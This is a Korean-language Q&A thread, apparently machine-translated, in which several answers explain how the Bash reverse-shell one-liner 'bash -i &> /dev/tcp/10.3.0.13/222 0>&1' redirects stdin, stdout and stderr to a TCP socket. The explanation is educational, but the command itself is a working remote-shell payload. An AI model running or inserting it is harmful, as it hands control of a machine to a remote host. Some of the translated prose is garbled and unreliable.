명령을 이해하려고 노력하십시오.
bash -i &> /dev/tcp/10.3.0.13/222 0>&1
이는 "bash -i"의 STDIN이 STDOUT 콘텐츠를 얻음을 의미합니까?
답변1
&> file
> file 2>&1
그 자체는 파일 설명자 1에서 쓰기 전용 모드로 열고 file
해당 파일 설명자 1을 파일 설명자 2에 복사하여 fd 1과 2(stdout 및 stderr)가 모두 해당 파일 설명자를 가리키도록 하는 것과 같습니다.파일 설명 열기
0>&1
0<&1
(또는 과 동일 <&1
) 목록에 0(stdin)을 추가합니다. 또한 fd 1을 0으로 복사합니다(fd 0이 fd 1이 가리키는 것과 동일한 리소스를 가리키도록 만듭니다).
이제 (함수가 나오는 ksh와 같이)에서 > /dev/tcp/host/port
실행할 때 a 를 실행하는 대신 TCP 소켓이 생성되어 연결됩니다 . 그건 아니야bash
open(file, O_WRONLY)
bash
host:port
그냥 써리디렉션, 읽기+쓰기 네트워크 소켓입니다.
따라서 최종 fd 0, 1, 2는 모두 bash -i
TCP 소켓입니다. stdin을 읽을 때 bash -i
소켓에서 읽고, 따라서 다른 쪽 끝에 있는 모든 내용을 읽고, host:post
(또는 거기에서 실행되는 명령) fd 1 또는 2에 쓸 때 소켓이 전송됩니다.
답변2
단계별로 살펴보겠습니다.
bash -i
: 대화형 셸 열기&>
: 표준 출력 및 오류를 포트 222에서 수신 대기하는 IP 10.3.0.13에 열린 소켓으로 리디렉션합니다.0>&1
: 0<&1로 읽는 걸 좋아해요. 이것이 실제로 의미하는 바는 "1"에 "0"이 추가된다는 것입니다. 이는 표준 입력이 표준 출력에 추가됨을 의미하며, 글머리 기호 2에서 우리는 이 bash 프로세스의 표준 입력이 포트에서 수신 대기하는 공격자가 사용할 수 있다는 것을 알고 있습니다. 222.
답변3
즉, 이 명령은 tcp 소켓을 통해 ip로 지정된 호스트에서 입력을 읽고 해당 호스트에 출력과 오류를 전달하는 대화형 bash 셸을 엽니다.
세부사항: (!!! 전문가가 아니기 때문에 일부 설명이 정확하지 않거나 정확하지 않을 수 있습니다.)
&> /dev/tcp/10.3.0.13/222
두 부분이 있습니다. 첫 번째:
/dev/tcp/10.3.0.13/222
Bash는 리디렉션에 사용될 때 여러 파일 이름을 처리하는 데 특화되어 있습니다.
/dev/tcp/host/port
호스트가 유효한 호스트 이름 또는 인터넷 주소이고 포트가 정수 포트 번호 또는 서비스 이름인 경우 Bash는 해당 TCP 소켓을 열려고 시도합니다.
두번째:
&>
표준 출력과 표준 오류를 동일한 파일로 보내기 위한 리디렉션 연산자입니다.
따라서 &> /dev/tcp/10.3.0.13/222
해당 TCP 소켓을 열고 표준 출력 및 표준 오류를 소켓으로 리디렉션하는 것을 의미합니다.
리디렉션은 실제로 이전 설명자와 동일한 열린 파일 설명을 참조하는 새 파일 설명자를 할당합니다.
열린 파일 설명은 시스템 전체의 열린 파일 테이블에 있는 항목입니다. 열린 파일 설명은 파일 오프셋 및 파일 상태 플래그를 기록합니다. 파일 설명자는 열린 파일 설명에 대한 참조입니다. 이후에 경로 이름이 삭제되거나 다른 파일을 참조하도록 수정되는 경우 이 참조는 영향을 받지 않습니다.
그러므로 실제로는스테이션 출력그리고오류(실제로는 파일 설명자입니다) 그리고소켓의 파일 설명자이제 같은 것을 가리킨다파일 설명 열기. 즉, bash에서 출력이나 오류가 발생할 때마다 이 데이터가 소켓에 기록되고 위에 지정된 대상 호스트로 전송됩니다.
0>&1
리디렉션스탠딩 입력도착하다스테이션 출력. 위의 아이디어를 사용하면 문자 그대로 의미합니다.스탠딩 입력같은 것을 참조파일 설명 열기이는 다음으로 인해 발생합니다.스테이션 출력;이 역시 참조한 내용과 동일합니다.오류그리고소켓의 파일 설명자. 이는 이 명령을 실행하는 호스트가 통과할 때마다TCP 소켓, bash는 이를 입력으로 읽습니다.
리디렉션이 실제로 무엇을 의미하는지 알지 못하면 리디렉션이 무엇을 의미하는지 이해하기 어렵습니다.스탠딩 입력도착하다스테이션 출력. 읽는다는 뜻은 아니다스테이션 출력~처럼스탠딩 입력, 말이 안 되기 때문이죠. 실제로는 의미한다스탠딩 입력그리고스테이션 출력같은 것을 참조파일 설명 열기. 따라서 명령은 입력을 읽고 출력을 여기 소켓과 마찬가지로 동일한 파일로 파이프합니다.
인용하다:
https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Redirections https://man7.org/linux/man-pages/man2/dup.2.html